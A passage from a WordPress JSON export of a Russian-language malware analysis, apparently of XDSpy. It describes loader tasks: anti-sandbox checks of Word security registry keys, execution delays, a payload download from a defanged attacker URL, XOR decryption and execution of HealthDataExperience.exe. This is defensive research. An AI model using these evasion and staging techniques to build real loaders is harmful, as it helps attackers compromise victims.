start=\"3\">\n<li>\n<p>xnhvkUzROwkSr.blob (<strong>GuardTask<\/strong>) &#8212; \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043d\u0430\u043b\u0438\u0447\u0438\u044f \u0438 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u043f\u0443\u0441\u0442\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 <strong>%TEMP%\\zWOnFfZp<\/strong>.<\/p>\n<\/li>\n<li>\n<p>MuIJdGFgmniD.blob (<strong>SlowdownTask<\/strong>) &#8212; \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u0430\u044f \u0437\u0430\u0434\u0435\u0440\u0436\u043a\u0430 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430.<\/p>\n<\/li>\n<li>\n<p>jFXvSUwAb.blob (<strong>AntiSandboxTask<\/strong>) &#8212; \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0439 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u0432 VBAWarnings, AccessVBOM, ExtensionHardening \u043a\u043b\u044e\u0447\u0435\u0439 \u0440\u0435\u0435\u0441\u0442\u0440\u0430 [HKCU\\SOFTWARE\\Microsoft\\Office{0}.0\\Word\\Security], \u0433\u0434\u0435 {0} &#8212; \u0447\u0438\u0441\u043b\u0430 \u043e\u0442 12 \u0434\u043e 19 \u0432\u043a\u043b\u044e\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e.<\/p>\n<\/li>\n<li>\n<p> kVaocWvcXxpj.blob (<strong>DownloadTask<\/strong>) &#8212; \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u0444\u0430\u0439\u043b\u0430 \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0439 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u043f\u043e \u0441\u0441\u044b\u043b\u043a\u0435 hxxps:\/\/files-manager[.]com\/document\/Spisok_rabotnikov\/E\/idx\/download\/grWUbTk00UWnSutvoJLaUkJyI \u0438 \u0435\u0433\u043e \u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u0438\u0435 \u0441 \u0438\u043c\u0435\u043d\u0435\u043c <strong>%USERPROFILE%\\source\\repos\\FZdlyPUMslYX\\HealthDataExperience.exe.<\/strong><\/p>\n<\/li>\n<li>\n<p>MuIJdGFgmniD.blob (<strong>SlowdownTask<\/strong>) &#8212; \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u0430\u044f \u0437\u0430\u0434\u0435\u0440\u0436\u043a\u0430 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430.<\/p>\n<\/li>\n<li>\n<p>IRVkMCvS.blob (<strong>XorTask<\/strong>) &#8212; \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u043a\u0430 \u0437\u0430\u0433\u0440\u0443\u0436\u0435\u043d\u043d\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0439 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438 <strong>%USERPROFILE%\\source\\repos\\FZdlyPUMslYX\\HealthDataExperience.exe<\/strong>.<\/p>\n<\/li>\n<li>\n<p>KNEdBVMwkY.blob (<strong>ExecuteTask<\/strong>) &#8212; \u0437\u0430\u043f\u0443\u0441\u043a \u0437\u0430\u0433\u0440\u0443\u0436\u0435\u043d\u043d\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0439 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438 <strong>%USERPROFILE%\\source\\repos\\FZdlyPUMslYX\\HealthDataExperience.exe<\/strong>.<\/p>\n<\/li>\n<\/ol>\n<p>\u0421\u0442\u043e\u0438\u0442 \u043e\u0442\u043c\u0435\u0442\u0438\u0442\u044c, \u0447\u0442\u043e \u043f\u043e\u0447\u0442\u0438 \u0432\u043e \u0432\u0441\u0435\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445, \u043a\u0440\u043e\u043c\u0435 <strong>XorTask<\/strong>, \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043f\u0435\u0440\u0435\u0434 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435\u043c \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0437\u0430\u0434\u0430\u0447\u0438. \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u0432 \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0438 \u043f\u043e\u0434\u0441\u0442\u0440\u043e\u043a\u0438 &#171;fe&#187; &#8212; 14 \u0438 15 \u0441\u0438\u043c\u0432\u043e\u043b \u0441\u0442\u0440\u043e\u043a\u043e\u0432\u043e\u0433\u043e \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 &#171;3309f5a10063afef30290e635561bcd8&#187; \u0441 \u043f\u0440\u043e\u043f\u0438\u0441\u0430\u043d\u043d\u043e\u0439 \u0432 \u043a\u043e\u0434\u0435 \u0441\u0442\u0440\u043e\u043a\u043e\u0439 &#171;fe&#187;. \u0415\u0441\u043b\u0438 \u043f\u043e\u0434\u0441\u0442\u0440\u043e\u043a\u0430 \u043e\u0442\u043b\u0438\u0447\u043d\u0430 \u043e\u0442 &#171;fe&#187;, \u0442\u043e\u0433\u0434\u0430 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u0439 \u043a\u043e\u0434 \u0437\u0430\u0434\u0430\u0447\u0438 \u043d\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f.<\/p>\n<p><strong>XDSpy.Mainmodule &#8212; HealthDataExperience.exe<\/strong><\/p>\n<p><strong>XDSpy.Mainmodule<\/strong> \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f<\/p>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-385533","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/385533","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=385533"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/385533\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=385533"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=385533"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=385533"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}